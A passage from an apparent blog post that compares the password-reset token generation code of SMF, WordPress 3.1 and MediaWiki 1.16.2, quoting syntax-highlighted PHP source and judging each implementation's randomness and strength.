&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword_sha1</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">user</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword</font><font color="#ffa500">)</font>;</pre>
<p>Looking at Sources/Subs-Members.php, we find:</p>
<pre>
<font color="#80a0ff">// Generate a random validation code.</font>
<font color="#ff80ff">function</font>&nbsp;generateValidationCode<font color="#ffa500">()</font>
<font color="#ffa500">{</font>
&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">modSettings</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;db_query<font color="#ffa500">(</font>'
<font color="#ffa0a0">&nbsp;&nbsp;&nbsp;&nbsp;SELECT RAND()</font>', <font color="#ffa0a0">__FILE__</font>, <font color="#ffa0a0">__LINE__</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#60ff60"><b>list</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">dbRand</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">mysql_fetch_row</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#40ffff">mysql_free_result</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#40ffff">preg_replace</font><font color="#ffa500">(</font>'<font color="#ffa0a0">/\W/</font>', '', <font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">dbRand</font>&nbsp;<font color="#ffff60"><b>.</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">modSettings</font><font color="#ffa500">[</font>'<font color="#ffa0a0">rand_seed</font>'<font color="#ffa500">]))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">10</font><font color="#ffa500">)</font>;
<font color="#ffa500">}</font>
</pre>
<p>Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:</p>
<ul>
<li>The current time (microtime())</li>
<li>PHP's random number generator (mt_rand())</li>
<li>MySQL's random number generator ($dbRand)</li>
<li>A user-configurable random seed</li>
</ul>
<p>Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash. </p>
<p>The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 36<sup>10</sup> or 3,656,158,440,062,976 possible outputs. That isn't as strong as it *could* be, since there's no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful - remote bruteforce guessing is much more useful and is clearly impossible.</p>
<p>SMF is my favourite implementation of the three, but let's take a look at WordPress!</p>
<h2>WordPress</h2>
<p><a href='http://wordpress.org/'>WordPress</a> 3.1 implements the password-reset function in wp-login.php:</p>
<pre>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>get_var<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>prepare<font color="#ffa500">(</font>&quot;<font color="#ffa0a0">SELECT user_activation_key FROM</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>users<font color="#ffa0a0">&nbsp;WHERE user_login = %s</font>&quot;, <font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font><font color="#ffa500">))</font>;
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>empty</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// Generate something random for a key...</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;wp_generate_password<font color="#ffa500">(</font><font color="#ffa0a0">20</font>, <font color="#ffa0a0">false</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;do_action<font color="#ffa500">(</font>'<font color="#ffa0a0">retrieve_password_key</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// Now insert the new md5 key into the db</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>update<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>users, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>'<font color="#ffa0a0">user_activation_key</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>'<font color="#ffa0a0">user_login</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font><font color="#ffa500">))</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
</pre>
<p>wp_generate_password() is found in wp-includes/pluggable.php:</p>
<pre>
<font color="#80a0ff">/**</font>
<font color="#80a0ff">&nbsp;* Generates a random password drawn from the defined set of characters.</font>
<font color="#80a0ff">&nbsp;*</font>
<font color="#80a0ff">&nbsp;* @since 2.5</font>
<font color="#80a0ff">&nbsp;*</font>
<font color="#80a0ff">&nbsp;* @param int $length The length of password to generate</font>
<font color="#80a0ff">&nbsp;* @param bool $special_chars Whether to include standard special characters.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Default true.</font>
<font color="#80a0ff">&nbsp;* @param bool $extra_special_chars Whether to include other special characters.</font>
<font color="#80a0ff">&nbsp;*&nbsp;&nbsp; Used when generating secret keys and salts. Default false.</font>
<font color="#80a0ff">&nbsp;* @return string The random password</font>
<font color="#80a0ff">&nbsp;**/</font>
<font color="#ff80ff">function</font>&nbsp;wp_generate_password<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">12</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">special_chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">true</font>, <font color="#ffff60"><b>$</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#40ffff">extra_special_chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">false</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789</font>';
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">special_chars</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;'<font color="#ffa0a0">!@#$%^&amp;*()</font>';
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">extra_special_chars</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;'<font color="#ffa0a0">-_ []{}&lt;&gt;~`+=,.;:/?|</font>';

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">length</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font>, wp_rand<font color="#ffa500">(</font><font color="#ffa0a0">0</font>, <font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">chars</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)</font>, <font color="#ffa0a0">1</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;<font color="#80a0ff">// random_password filter was previously in random_password function which was
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;deprecated</font>
&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;apply_filters<font color="#ffa500">(</font>'<font color="#ffa0a0">random_password</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">password</font><font color="#ffa500">)</font>;
<font color="#ffa500">}</font>
</pre>
<p>This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It's also found in wp-includes/pluggable.php and looks like this:</p>
<pre>
&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Reset $rnd_value after 14 uses</font>
&nbsp;&nbsp;<font color="#80a0ff">// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffa0a0">8</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#40ffff">defined</font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">WP_SETUP_CONFIG</font>'&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>else</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;get_transient<font color="#ffa500">(</font>'<font color="#ffa0a0">random_seed</font>'<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">md5</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">uniqid</font><font color="#ffa500">(</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">()</font>, <font color="#ffa0a0">true</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">md5</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>!</b></font>&nbsp;<font color="#40ffff">defined</font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">WP_SETUP_CONFIG</font>'&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set_transient<font color="#ffa500">(</font>'<font color="#ffa0a0">random_seed</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">seed</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>

&nbsp;&nbsp;<font color="#80a0ff">// Take the first 8 digits for our value</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">8</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Strip the first eight, leaving the remainder for the next call to wp_rand().</font>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">rnd_value</font>, <font color="#ffa0a0">8</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">abs</font><font color="#ffa500">(</font><font color="#40ffff">hexdec</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font><font color="#ffa500">))</font>;

&nbsp;&nbsp;<font color="#80a0ff">// Reduce the value to be within the min - max range</font>
&nbsp;&nbsp;<font color="#80a0ff">// 4294967295 = 0xffffffff = max random number</font>
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">max</font>&nbsp;<font color="#ffff60"><b>!=</b></font>&nbsp;<font color="#ffa0a0">0</font>&nbsp;<font color="#ffa500">)</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">min</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa500">((</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">max</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">min</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>*</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font>&nbsp;<font color="#ffff60"><b>/</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffa0a0">4294967295</font>&nbsp;<font color="#ffff60"><b>+</b></font>&nbsp;<font color="#ffa0a0">1</font><font color="#ffa500">)))</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#40ffff">abs</font><font color="#ffa500">(</font><font color="#40ffff">intval</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">value</font><font color="#ffa500">))</font>;
<font color="#ffa500">}</font>
</pre>
<p>This is quite complex for generating a number! But the points of interest are:</p>
<ul>
<li>Hashing functions (sha1 and md5) are used, which are going to be <em>a lot</em> slower than a standard generator, but they, at least in theory, have cryptographic strength</li>
<li>The random number is seeded with microtime() and mt_rand(), which is PHP's "advanced" randomization function)</li>
<li>The random number is restricted to 0 - 0xFFFFFFFF, which is pretty typical</li>
</ul>
<p>In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity - using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything 'just in case'. While I don't expect to find any weaknesses in the implementation, it's a little concerning. </p>
<p>Now, let's take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!</p>
<h2>MediaWiki</h2>
<p><a href='http://www.mediawiki.org/'>MediaWiki</a> 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:</p>
<pre>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>randomPassword<font color="#ffa500">()</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>setNewpassword<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">throttle</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>saveSettings<font color="#ffa500">()</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>getOption<font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">m</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;wfMsgExt<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">emailText</font>, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">parsemag</font>', '<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffa500">)</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">ip</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>getName<font color="#ffa500">()</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgServer</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgScript</font>, <font color="#40ffff">round</font><font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgNewPasswordExpiry</font>&nbsp;<font color="#ffff60"><b>/</b></font>&nbsp;<font color="#ffa0a0">86400</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">result</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">u</font><font color="#60ff60"><b>-&gt;</b></font>sendMail<font color="#ffa500">(</font>&nbsp;wfMsgExt<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">emailTitle</font>, <font color="#60ff60"><b>array</b></font><font color="#ffa500">(</font>&nbsp;'<font color="#ffa0a0">parsemag</font>',
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'<font color="#ffa0a0">language</font>'&nbsp;<font color="#ffff60"><b>=</b></font><font color="#ffff60"><b>&gt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">userLanguage</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">m</font>&nbsp;<font color="#ffa500">)</font>;
</pre>
<p>$u->randomPassword() is found in includes/User.php looks like this:</p>
<pre>
&nbsp;&nbsp;<font color="#80a0ff">/**</font>
<font color="#80a0ff">&nbsp;&nbsp; * Return a random password. Sourced from mt_rand, so it's not particularly secure.</font>
<font color="#80a0ff">&nbsp;&nbsp; * @</font><span style="background-color: #ffff00"><font color="#0000ff">todo</font></span><font color="#80a0ff">&nbsp;hash random numbers to improve security, like generateToken()</font>
<font color="#80a0ff">&nbsp;&nbsp; *</font>
<font color="#80a0ff">&nbsp;&nbsp; * @return \string New random password</font>
<font color="#80a0ff">&nbsp;&nbsp; */</font>
&nbsp;&nbsp;<font color="#60ff60"><b>static</b></font>&nbsp;<font color="#ff80ff">function</font>&nbsp;randomPassword<font color="#ffa500">()</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wgMinimalPasswordLength</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'<font color="#ffa0a0">ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz</font>';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">l</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">strlen</font><font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>;

&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">max</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">7</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">wgMinimalPasswordLength</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">digit</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">0</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>&nbsp;<font color="#ffff60"><b>-</b></font>&nbsp;<font color="#ffa0a0">1</font>&nbsp;<font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;'';
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>for</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffa0a0">0</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>&lt;</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwlength</font>; <font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font><font color="#ffff60"><b>++</b></font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>&nbsp;<font color="#ffff60"><b>.=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">i</font>&nbsp;<font color="#ffff60"><b>==</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">digit</font>&nbsp;<font color="#ffff60"><b>?</b></font>&nbsp;<font color="#40ffff">chr</font><font color="#ffa500">(</font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">48</font>, <font color="#ffa0a0">57</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>:</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">pwchars</font><font color="#ffa500">{</font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">(</font>&nbsp;<font color="#ffa0a0">0</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">l</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">}</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffa500">}</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">np</font>;
&nbsp;&nbsp;<font color="#ffa500">}</font>
</pre>
<p>This is easily the most complex, and also most dangerous, password-reset implementation that I've found.</p>
<p>First, the length is only 7 characters by default. That's already an issue.</p>
